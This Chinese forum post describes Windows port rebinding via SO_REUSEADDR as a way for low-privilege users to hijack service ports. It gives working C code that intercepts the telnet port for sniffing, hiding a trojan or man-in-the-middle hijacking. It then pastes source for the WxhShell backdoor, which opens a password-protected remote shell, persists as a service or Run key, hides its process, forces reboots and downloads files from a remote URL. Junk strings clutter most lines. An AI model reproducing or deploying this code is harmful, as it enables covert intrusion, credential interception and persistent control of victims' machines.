社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14384阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;nbEV2Y<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |}e"6e%  
35AH|U7b  
  saddr.sin_family = AF_INET; tC$+;_=+F  
j|o/>^ 'e  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ? eI)m  
N4-Y0BO  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /Us+>vg!  
z;@<J8I  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 c[X6!_  
G.iQ\'1_h  
  这意味着什么?意味着可以进行如下的攻击: DwFvM0O6\  
)>b1%x} =  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5N6R%2,A  
jt323hHth  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) fM:bXR2Y'  
kO^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2,B^OZmw  
~Ni-}p  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Wt!;Y,1 s  
imwn)]LR  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 kn HrMD;  
XAF]B,h=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %jq R^F:J  
[a$1{[|)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 xOg|<Nnl  
*kF/yN  
  #include i>G:*?a  
  #include ^tm2Duv  
  #include ;UX9Em  
  #include    }V.fY3J-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >.C$2bW<L  
  int main() r z@%rOWV  
  { v [x 5@$  
  WORD wVersionRequested; Qd% (]L[N.  
  DWORD ret; cw~GH  
  WSADATA wsaData; l,A\]QDvl  
  BOOL val; e*( _Cvxp  
  SOCKADDR_IN saddr; =yqg,w&Q  
  SOCKADDR_IN scaddr; jamai8  
  int err;  }l]r-  
  SOCKET s; u|EJ)dT?  
  SOCKET sc; E6G;fPd= E  
  int caddsize; ]>sMu]biH  
  HANDLE mt; .g}Y! l  
  DWORD tid;   kIt1kw  
  wVersionRequested = MAKEWORD( 2, 2 ); PiR`4Tu  
  err = WSAStartup( wVersionRequested, &wsaData ); c(?OE' "Z  
  if ( err != 0 ) { p{r{}iYI  
  printf("error!WSAStartup failed!\n"); HQ4WunH2Y  
  return -1; rvnm*e,  
  } {"|GV~  
  saddr.sin_family = AF_INET; D,-L!P  
   ;tD?a7  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 EmP2r*"rb  
P:X X8&#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); j.c4  
  saddr.sin_port = htons(23); flBJO.2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #^i+'Z=L  
  { j}jU.\*v<  
  printf("error!socket failed!\n"); +'` ^ N  
  return -1; T~}g{q,tR  
  } X/Fip 0i  
  val = TRUE; ={190=\9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;lTgihW-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) waV4~BdL  
  { K~5(j{Kb8  
  printf("error!setsockopt failed!\n"); ,0>_(5  
  return -1; X)[QEq^  
  } L`^ v"W()  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \jkDRR[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 F 'HYWH0?  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6ESS>I"su  
)OGO wStz  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "bO]AG  
  { F20%r 0  
  ret=GetLastError(); 0b,{4DOD  
  printf("error!bind failed!\n"); )=,;-&AR  
  return -1; 6X VJ/qZ  
  } u`*$EP-%  
  listen(s,2); c/3]M>+M  
  while(1) @(tuE  
  { <("P5@cExU  
  caddsize = sizeof(scaddr); 3URrK[%x`  
  //接受连接请求 6XeqK*r*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }T=\hM  
  if(sc!=INVALID_SOCKET) ,}Ic($ To  
  { AlgVsE%Va  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); VD=F{|^  
  if(mt==NULL) Y:'c<k  
  { jLul:* L  
  printf("Thread Creat Failed!\n"); u/?;J1z:  
  break; P(zquKm  
  } B"RZpx  
  } iF+50d  
  CloseHandle(mt); 90$`AMR  
  } X^ 0jS  
  closesocket(s); G{|F V m  
  WSACleanup(); jBd9  $`  
  return 0; :4238J8  
  }   8ax3"G  
  DWORD WINAPI ClientThread(LPVOID lpParam) 'DH_ihZ  
  { N%?8Bm~dP  
  SOCKET ss = (SOCKET)lpParam; Yg`z4 U'6~  
  SOCKET sc; iJu$&u  
  unsigned char buf[4096]; C1~Ro9si  
  SOCKADDR_IN saddr; ,rQPs  
  long num; Tj=g[)+K  
  DWORD val; GwlAEhP  
  DWORD ret; v#KE"m  
  //如果是隐藏端口应用的话,可以在此处加一些判断 K~z9b4a>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *icxK  
  saddr.sin_family = AF_INET; }KrZ6cG9#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); kI$X~s$r  
  saddr.sin_port = htons(23); NslaG  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v*e=oyx[  
  { LZ~$=<  
  printf("error!socket failed!\n"); }*0*8~Q'5  
  return -1; Yr+ghl/ V  
  } "[ ]72PC  
  val = 100; af7\2 g3*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) TWQ{, B  
  { >E(IkpZ  
  ret = GetLastError(); *W<g%j-a  
  return -1; P1QGfp0-J  
  } UBy:W^\g  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8c'E  
  { JSiLG0  
  ret = GetLastError(); QGd"Z lQ  
  return -1; D&&11Iz&  
  } )8Sm}aC  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) BhJ~jV"  
  { <^jW  
  printf("error!socket connect failed!\n"); o#&;,9  
  closesocket(sc); FY]z*=  
  closesocket(ss); 30/(  
  return -1; %(wa~:m+S-  
  } qdVExO&  
  while(1) mh`VZQ@  
  { v~>4c<eG  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #9Dixsl*Q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }u..m$h  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /!0{9F<  
  num = recv(ss,buf,4096,0); X<"W@  
  if(num>0) :j,e0#+sA  
  send(sc,buf,num,0); t%<d}QuHW  
  else if(num==0) o %tvwv  
  break; <El6?ml@  
  num = recv(sc,buf,4096,0); +hS}msu'  
  if(num>0) TXQ Y&7  
  send(ss,buf,num,0); Kth^WHL  
  else if(num==0) 47XQZ-}4  
  break; #r)c@?T@j  
  } fM)RO7  
  closesocket(ss); u_U51C\rb  
  closesocket(sc); 4E& 3{hnp  
  return 0 ; PDssEb7  
  } %.D@{O  
ve / Q6j{  
N~ XzgI  
========================================================== v ~%6!Tr  
p,9eZUGy  
下边附上一个代码,,WXhSHELL  G l*C"V  
"I]% aK0  
========================================================== yeNC-U<  
5ff66CRw  
#include "stdafx.h" b9([)8  
PRCr7f  
#include <stdio.h> {N$G|bm]u<  
#include <string.h> rm4j8~Ef  
#include <windows.h> k^.9;FmQ  
#include <winsock2.h> '&}B"1  
#include <winsvc.h> @cF aYI  
#include <urlmon.h> N*My2t_+E  
IXf@YV  
#pragma comment (lib, "Ws2_32.lib") Jj'~\j  
#pragma comment (lib, "urlmon.lib") /Et:',D  
l+Tw#2s$  
#define MAX_USER   100 // 最大客户端连接数 %zB `Sd<  
#define BUF_SOCK   200 // sock buffer HtIM8z#/  
#define KEY_BUFF   255 // 输入 buffer ~>ACMO  
RxkcQL/Le  
#define REBOOT     0   // 重启 c>r0 N[  
#define SHUTDOWN   1   // 关机 .)mw~3]  
j=d@Ih*  
#define DEF_PORT   5000 // 监听端口 3&-BO%i  
ZuF-$]oL&  
#define REG_LEN     16   // 注册表键长度 YXa^jFp  
#define SVC_LEN     80   // NT服务名长度 gKS0!U  
jfHVXu^M  
// 从dll定义API hC8'6h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); PhM3?$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nK6{_Y>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :nw4K(:f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); avk0pY(n  
W!z=AL{  
// wxhshell配置信息 y)!K@  
struct WSCFG { 810u +%fu  
  int ws_port;         // 监听端口 BaTE59W  
  char ws_passstr[REG_LEN]; // 口令 NQ%lwE~  
  int ws_autoins;       // 安装标记, 1=yes 0=no qMz0R\4  
  char ws_regname[REG_LEN]; // 注册表键名 z&d&Ky  
  char ws_svcname[REG_LEN]; // 服务名 V4Ql6vg_f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H5=-b@(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (Y!@,rKd   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a3037~X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U w][U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `hL16S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z}N=Oe  
$q{-)=-BXQ  
}; X%S?o  
cyG3le& +G  
// default Wxhshell configuration k| nv[xY0  
struct WSCFG wscfg={DEF_PORT, .QzHHW4&0  
    "xuhuanlingzhe", 9#.nNv*z3  
    1, {KE858  
    "Wxhshell", =ex71qj)  
    "Wxhshell", +PY LKyS>  
            "WxhShell Service", W :jC2,s!m  
    "Wrsky Windows CmdShell Service", c:4M|t=  
    "Please Input Your Password: ", u:3~Ius  
  1, zVYX#- nv  
  "http://www.wrsky.com/wxhshell.exe", sC48o'8(  
  "Wxhshell.exe" AY{caM  
    }; ?x"<0k1g  
HkD6aJ:kA!  
// 消息定义模块 }i ./,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NI \jGR.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \L(~50{(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u)M dFz  
char *msg_ws_ext="\n\rExit."; m49GCo k+  
char *msg_ws_end="\n\rQuit."; dmW0SK   
char *msg_ws_boot="\n\rReboot..."; nWfOiw-t  
char *msg_ws_poff="\n\rShutdown..."; ]i)m   
char *msg_ws_down="\n\rSave to "; Lk6UT)C  
J84Q|E  
char *msg_ws_err="\n\rErr!"; p@y?xZS  
char *msg_ws_ok="\n\rOK!"; fa;\4#  
D|@*HX@_Xp  
char ExeFile[MAX_PATH]; htj:Z:C`  
int nUser = 0; +LCpE$H  
HANDLE handles[MAX_USER]; \L-o>O  
int OsIsNt; >f JY  
anjU3j  
SERVICE_STATUS       serviceStatus; B>WAlmPA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ly0^ L-~|  
BMkN68q  
// 函数声明 {M96jjiInf  
int Install(void); t23uQR#>b_  
int Uninstall(void); [QEV6 S]  
int DownloadFile(char *sURL, SOCKET wsh); OaY.T  
int Boot(int flag); A}v! vVg  
void HideProc(void); FCnOvF65  
int GetOsVer(void); 9AO`Zk{/Ez  
int Wxhshell(SOCKET wsl); ]KdSwIbi  
void TalkWithClient(void *cs); %wWJVq}jx  
int CmdShell(SOCKET sock); 7v3'JG1r-  
int StartFromService(void); Zvz Zs  
int StartWxhshell(LPSTR lpCmdLine); _GS_R%b  
p'{B|ujj6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ],#Xa.r  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t% Sgw%f  
2wLnRP`*  
// 数据结构和表定义 U{/d dCf7  
SERVICE_TABLE_ENTRY DispatchTable[] = vqO d`_)  
{ "159Q  
{wscfg.ws_svcname, NTServiceMain}, L/\s~*:M  
{NULL, NULL} pURtk-Fr2  
}; P/i{_r  
nSY3=Edx=  
// 自我安装 6 G.(o  
int Install(void) {Tx"G9  
{  ac  
  char svExeFile[MAX_PATH]; E2dl}S zp  
  HKEY key; <O:}dXqZ  
  strcpy(svExeFile,ExeFile); O0^m_  
by07l5  
// 如果是win9x系统,修改注册表设为自启动 6mp8v`b  
if(!OsIsNt) { \Lu aI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O2xbHn4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bu0i #  
  RegCloseKey(key); 3yGo{uW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2<$pai"yl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Me;XG?`  
  RegCloseKey(key); |"]#jx*8KC  
  return 0; {Kh^)oYdd  
    } pLYLHS`*  
  } df\^uyD;  
} gXJtk;  
else { 2i9FzpC3  
Ei>.eXUD5  
// 如果是NT以上系统,安装为系统服务 1S[4@rZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u~rPqBT{d3  
if (schSCManager!=0) /(oxK>*F  
{ ":v^Y 9  
  SC_HANDLE schService = CreateService [0bp1S~  
  ( &=f] a  
  schSCManager, Z.}Z2K  
  wscfg.ws_svcname, #W$6[#7=I  
  wscfg.ws_svcdisp, d+45Y,|  
  SERVICE_ALL_ACCESS, 6~34L{u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d+qeZGg^A  
  SERVICE_AUTO_START, Xsk/U++  
  SERVICE_ERROR_NORMAL, c T21  
  svExeFile, f;D(X/"f]  
  NULL, inHlL  
  NULL, a``/x_EZMn  
  NULL, h\T}$jgfWm  
  NULL, PGd?c#v#  
  NULL D :)HK D.  
  ); t $m:  
  if (schService!=0) `y3*\l  
  { .(^%M 2:6  
  CloseServiceHandle(schService); [L>mrHqG  
  CloseServiceHandle(schSCManager); 3>>Ca;>$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Gq=tR`.  
  strcat(svExeFile,wscfg.ws_svcname); `\beQ(g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { '}l7=r   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7Y?59 [  
  RegCloseKey(key); kfY. 9$(d  
  return 0; xLdkeuL[%  
    } %MCJ%Ph  
  } ? KDg|d  
  CloseServiceHandle(schSCManager); `3eQ#,G!  
} #.<Dq8u  
} -G[TlH06  
{3T&6LA  
return 1; Ts\PZQ!q  
} `*o ko[\3  
ZU$QwI8  
// 自我卸载 U:AB%gr[  
int Uninstall(void) E]Q d5l  
{ 9=J 3T66U  
  HKEY key; H'IxB[  
+TW,!.NBG  
if(!OsIsNt) { ~OMo$qt`lP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |H(i)yu"5'  
  RegDeleteValue(key,wscfg.ws_regname); # uy^AC$  
  RegCloseKey(key); _b`/QSL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "r=p/"4D  
  RegDeleteValue(key,wscfg.ws_regname); $a|>>?8  
  RegCloseKey(key); 5g`J}@"k  
  return 0; S c ijf 9  
  } gj7'4 3 ?W  
} VtzBYza  
} 33ZHrZ  
else { Jt:)(&-t   
>E7s}bL"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1@N4Y9o  
if (schSCManager!=0) : sG/  
{ I^)_rOgM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e#vGrLs.  
  if (schService!=0) .E 9$j<SP-  
  { `46|VQAx  
  if(DeleteService(schService)!=0) { 8ly Ng w1  
  CloseServiceHandle(schService); M96Nt&P`  
  CloseServiceHandle(schSCManager); qYPgn _  
  return 0; -UWyBM3c@  
  } 7:zoF], s  
  CloseServiceHandle(schService); &p+2Vz{  
  } *'BI=* `  
  CloseServiceHandle(schSCManager); Ax 4R$P.]u  
} ,g1~4,hqQ  
} 9&HaEAme  
aI;fNy /K  
return 1; <'j ygZ(  
} >_#A*B|  
[U$`nnp  
// 从指定url下载文件 =I9hGj6  
int DownloadFile(char *sURL, SOCKET wsh) *l@T 9L[M'  
{ (SCZ.G(>  
  HRESULT hr; @.=2*e.z|b  
char seps[]= "/"; VrKLEN\  
char *token; MH]?:]K9V  
char *file; 'X\C/8\  
char myURL[MAX_PATH]; gF]IAZCi  
char myFILE[MAX_PATH]; ;xSlRTNT=6  
<J]N E|:  
strcpy(myURL,sURL); !95Q4WH-@  
  token=strtok(myURL,seps); &m`@6\N(  
  while(token!=NULL) ]'vAeC6{  
  { >w1jfpQ@t$  
    file=token; }5d|y*  
  token=strtok(NULL,seps); !MOcF5M  
  } Q@TeU#2Y  
:U faMe5  
GetCurrentDirectory(MAX_PATH,myFILE); C@MJn)$4  
strcat(myFILE, "\\"); o{7w&Pgs2  
strcat(myFILE, file); F3nPQw{;  
  send(wsh,myFILE,strlen(myFILE),0); '<wZe.Q!  
send(wsh,"...",3,0); OSK:Cb.-?F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lC^?Jk[N  
  if(hr==S_OK) s ~i,R  
return 0; o6X<FE#8  
else UFE~6"t(  
return 1; 1! R:}r3t  
3UcOpq2i\  
} E;r~8^9)  
,27=i>>  
// 系统电源模块 ,*wj~NE  
int Boot(int flag) jG^OF5.  
{ ra]\!;}L0  
  HANDLE hToken; UQ2;Dg G%  
  TOKEN_PRIVILEGES tkp; mW."lzIl  
\U?{m)N  
  if(OsIsNt) { HmpV; <t3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (Jy > ,~O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *%dWNvN4X  
    tkp.PrivilegeCount = 1; }& 01=nY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n(\VP!u5r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )<L?3Jjt5  
if(flag==REBOOT) { "oCXG`.k&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B)ibxM(n*  
  return 0; %U$%x  
} (P nrY~9  
else { =(,dI [v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o&HFlDZ5jO  
  return 0; ,) }-mu  
} =!2(7Nr  
  } 84-7!< 6i  
  else { -axmfE?g0  
if(flag==REBOOT) { SA6.g2pFz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !xD_=O  
  return 0; O:X|/g0Y  
} gd;e-.  
else { }x:nhy`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uX,ln(9I*H  
  return 0; @,TCg1@QJ  
} cK2Us+h  
} S]DYEL$  
g8;JpPw  
return 1; SZC1$..2T  
} 5,?Au  
j=w`%nh4"f  
// win9x进程隐藏模块 qo0]7m7|  
void HideProc(void) QLyBP!X-  
{ PF-"^2&_  
C9 cQ} j:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &M+fb4:_  
  if ( hKernel != NULL ) 51x)fZQ  
  { ht^xc c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lmr:PX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RLbxNn  
    FreeLibrary(hKernel); TWJ%? /d  
  } ?1MaA  
v]BMET[w  
return; )Waz bT@  
} XDq*nA8#5B  
6\?< :Qto  
// 获取操作系统版本 Kg;1%J>ee  
int GetOsVer(void) *.Ceb%W7C  
{ T>s3s5Y  
  OSVERSIONINFO winfo; JIU=^6^2'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R>. %0%iq  
  GetVersionEx(&winfo); 9!oNyqQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <f`G@  
  return 1; k M' :.QT  
  else Mi_/ ^  
  return 0; j]5bs*G  
} ?)B\0` %*'  
TwXqk>J  
// 客户端句柄模块 Ta3qEVs  
int Wxhshell(SOCKET wsl) eo&nAr  
{ |Ptv)D  
  SOCKET wsh; 2hI|] p  
  struct sockaddr_in client; ')>&:~  
  DWORD myID; cfd7)(6  
$Y5m"wySZ  
  while(nUser<MAX_USER) ?ydqmj2[F  
{ +1%7*2q,  
  int nSize=sizeof(client); -(]s!,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rt[w yz8  
  if(wsh==INVALID_SOCKET) return 1; %Cz&7qf"  
na1*^S`[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); td#B$$[  
if(handles[nUser]==0) S @ MO  
  closesocket(wsh); cRhu]fv()  
else &%Lps_+fJ  
  nUser++; Qs5^kddz=  
  } <r'l5|er  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^xwnX=Np  
/!mF,oR!  
  return 0; CQx#Xp>=s  
} >3a<#s{%  
(}u2) 9  
// 关闭 socket 3,<$z1Jm  
void CloseIt(SOCKET wsh) sox0:9Oqnf  
{ (/r l\I  
closesocket(wsh); x4C}AyR  
nUser--; R6A{u(  
ExitThread(0); +(-L  
} :"9P {xe^  
B~RVFc +  
// 客户端请求句柄 eiV[y^?  
void TalkWithClient(void *cs) dyz)22{\!`  
{ zMf .  
vO#=]J8`  
  SOCKET wsh=(SOCKET)cs; D!- 78h  
  char pwd[SVC_LEN]; dC7YVs_,#  
  char cmd[KEY_BUFF]; /uM;g9 m  
char chr[1]; '*~_!lE5  
int i,j; 5DEK`#*  
0 xUw}T6  
  while (nUser < MAX_USER) { O#g'4 S  
e bSG|F  
if(wscfg.ws_passstr) {  TM1isZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M6 W {mek  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .I"Qu:``  
  //ZeroMemory(pwd,KEY_BUFF); =skw@c ^  
      i=0; /7 CF f&4  
  while(i<SVC_LEN) { b V5{  
PE~umY]  
  // 设置超时 G>/Gw90E  
  fd_set FdRead; `5V=U9zdE  
  struct timeval TimeOut; McRAy%{z  
  FD_ZERO(&FdRead); 8T7E.guYr  
  FD_SET(wsh,&FdRead); wE.CZ% f  
  TimeOut.tv_sec=8; _R,VNk  
  TimeOut.tv_usec=0; Pd<s#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &p)]Cl/`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BB?vc( d  
*ydkx\pT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7<<-\7`  
  pwd=chr[0]; 5,I|beM  
  if(chr[0]==0xd || chr[0]==0xa) { [\ M$a|K  
  pwd=0; s[ ze8:  
  break; "B~c/%#PH  
  } QUPZe~G>L  
  i++; ^u? #fLr  
    } -K 7jigac  
L9|55z  
  // 如果是非法用户,关闭 socket _.9):i2<SF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \>T+\?M  
} o7/S'Haxc]  
#Sxk[[KwH*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yJCqP=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,f4VV\  
=6XJr7Ay8u  
while(1) { n9 LTrhLqp  
77FI&*q  
  ZeroMemory(cmd,KEY_BUFF); }e7os0;s  
O_zW/#  
      // 自动支持客户端 telnet标准   S>-x<'Os  
  j=0; DqfWu*  
  while(j<KEY_BUFF) { {XHAQ9'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XX85]49`%  
  cmd[j]=chr[0]; uwQ~4   
  if(chr[0]==0xa || chr[0]==0xd) { )\ `AD#  
  cmd[j]=0; +3a} ~pW  
  break; BHVC&F*>  
  } g*]hmkYe9  
  j++; {|KFgQ'\  
    } V`c"q.8  
e\0vphS6  
  // 下载文件 DzfgPY_Py  
  if(strstr(cmd,"http://")) { :%6OFO$z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); eb6Ux  
  if(DownloadFile(cmd,wsh)) -6Y@_N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m\4V;F  
  else !2.(iuE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :U6"HP+?g-  
  } 6:fHPlqW  
  else { 7Ei,L[{\i#  
^tMb"WO  
    switch(cmd[0]) { \dm5Em/  
  prHM}n{0  
  // 帮助 s+tPHftp  
  case '?': { 9J3@8h p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xRX2u_f$<  
    break; Qm-I=Rh+  
  } jW,b"[  
  // 安装 lOp7rW]$  
  case 'i': { Oe)d|6=  
    if(Install()) b< dwf[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l}bAwJ?  
    else SmpYH@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CPW^pGT+i  
    break; Tvd}5~ 5?  
    } _>8rTk`/h  
  // 卸载 -w dbH`2Z"  
  case 'r': { e^LjB/<Th  
    if(Uninstall()) WE{fu{x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XIGz_g;#'w  
    else &RJ*DAmL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fb!Ew`;QT  
    break; i,H(6NL.  
    } i/C`]1R/  
  // 显示 wxhshell 所在路径 }508wwv  
  case 'p': { \aN*x  
    char svExeFile[MAX_PATH]; ':>u*  
    strcpy(svExeFile,"\n\r"); t3qPocYQ  
      strcat(svExeFile,ExeFile); Silh[8  
        send(wsh,svExeFile,strlen(svExeFile),0); _VUG!?_D$5  
    break; ){nOM$W  
    } ^xyU *A}D  
  // 重启 afw`Heaa2(  
  case 'b': { `WUyffS/!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &<=?O a  
    if(Boot(REBOOT)) wit rC>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HBdZE7.x)3  
    else { CN{xh=2qY[  
    closesocket(wsh); d-sT+4o}  
    ExitThread(0); Q$yMU [l)  
    } 5%_aN_1?ef  
    break; vg-Ah6BC{  
